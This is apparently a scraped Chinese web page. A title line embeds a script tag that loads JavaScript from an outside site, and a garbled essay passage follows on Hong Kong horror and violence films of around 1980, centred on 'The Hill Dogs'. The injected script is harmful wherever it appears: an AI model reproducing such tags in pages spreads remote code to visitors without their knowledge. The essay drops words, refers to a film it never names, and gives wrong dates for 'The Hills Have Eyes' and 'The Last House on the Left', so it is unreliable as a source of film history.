系统逼我做皇后<script src=https://www.0451ys.com/b.js> 动漫

第二种是真正的传统意义上的恐怖片。对于恐怖片普遍存在这样一个共识：片血腥，片吓人，而片则奇怪得有些搞笑。其实港产片也有正宗的恐怖惊悚片，比如余允抗就以拍摄恐怖惊悚鬼怪电影著称。编剧刘镇伟认定只有在“越是大家常去的公共场所，发生恐怖事件才可怕”，所以这部片子的场景设置在了大楼的电梯里。笔者小时候读过一本卫斯理的小说叫作《大厦》，给我留下了极大的心理阴影，《凶榜》（1981）就是这么一部电影，《凶猫》（1986）也是。余允抗还有一部名不见经传的电影叫作《山狗》（1980），它的出现绝非偶然。当年的弥漫着一股暴力气息，战后的婴儿潮让生活在20世纪70年代的青年人成为社会的大多数。他们最常看的是李小龙和张彻的功夫动作片、欧美的B级片，再加上越战及内地“文革”的影响，年轻人血气方刚，过盛的荷尔蒙没有发泄的渠道。1980年前后，市面上接二连三地出现了多部暴力电影：牟敦芾（1941～　）的《打蛇》、谭家明的《爱杀》（1981），而徐克的《第一类型危险》因其强烈的鼓动性而被禁映。《山狗》也在这个暴戾的环境中诞生，漂亮年轻的女子遇上性欲强烈而道德低下的五名男子，强奸事件几成定局；武艺过人的父亲痛失爱子，警察却无用似小丑，他决定替天行道。余允抗的聪明之处是将整个背景限定在一个无法无天、山高皇帝远的封闭环境中，在这样的环境里一切由武力主宰，强者为所欲为，所有不顾羞耻的泄欲和灭绝人性的杀戮，看起来都是那么理所当然。以现今理性角度看《山狗》，你会惊觉复仇者的手段竟比作恶者的更为残忍而致命。大概是编导故意如此编排，就如当年的欧美B级暴力片一般，一切只为了触动杀机，争取广大年轻观众的注意。本地影评人普遍认为《山狗》以约翰·保曼（John Boorman，1933～　）的《激流四勇士》（Deliverance ，1972）作蓝本。当年同样讲述蛮荒暴力的片子着实不计其数，较知名的有韦斯·克雷文（Wes Craven，1939～2015）的低成本暴力片《魔屋》（The Last House on the Left ，2009）和《隔山有眼》（The Hills Have Eyes ，1997）。《山狗》导演余允抗的电影技法有一定功力，除了准确掌握动作片的节奏，剪接与配乐上也花了不少工夫，在凶杀场面中巧妙地营造了恐怖的气氛，并活用户外环境创作画面构图。可是狗血与残肢一幕接一幕地出现，普通的观众大概